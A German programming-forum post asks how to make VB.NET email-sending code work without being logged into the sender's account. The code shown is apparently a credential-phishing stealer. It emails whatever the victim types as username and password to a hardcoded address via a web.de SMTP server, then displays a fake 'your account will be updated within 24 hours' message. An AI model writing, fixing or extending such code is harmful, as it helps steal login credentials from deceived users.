myGully.com  

Go Back   myGully.com > Computer & Technik > Programmierung

Willkommen

myGully

Links

Forum

 
 
 
Thread Tools Display Modes
Prev Previous Post   Next Post Next
Unread 13.02.11, 01:56   #1
rainboww
Blackfire aka main88
 
rainboww's Avatar
 
Join Date: Jul 2009
Posts: 513
Thanks: 40
Thanked: 1,170
Rep Power: 71
rainboww gewöhnt sich langsam dran
Default e-mail versenden in vb 2010

Ich hab eine Frage und zwar ich würde den code hier gerne ändern so das die daten die ich über e-mail versenden will auch ankommen wenn ich nicht mit meinem e-mail account angemeldet bin

Code:
Private Sub cmdGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdGo.Click
        Dim fromAddress As New MailAddress("from")
        Dim toAddress As New MailAddress("to")
        Dim msg As New MailMessage(fromAddress, toAddress)
        msg.Body = txtUser.Text & vbNewLine & txtPass.Text
        msg.Subject = "SUBISSION, SENT: " & DateTime.Now.ToString()
        msg.IsBodyHtml = True

        Dim mailSender As New System.Net.Mail.SmtpClient()
        mailSender.Host = "smtp.web.de "
        mailSender.Port = "587"
        Try
            mailSender.Send(msg)
            Label1.Text = "Status: COMPLETE - Your account will be updated within 24 hours."
        Catch ex As Exception
            Label1.Text = ex.Message
        End Try
    End Sub
__________________
Ich lese mir die [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] durch, bevor ich eine Sig erstelle!
I read the [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] before I create a signature.
rainboww is offline   Reply With Quote
 


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump



All times are GMT +1. The time now is 12:32.


Sitemap

().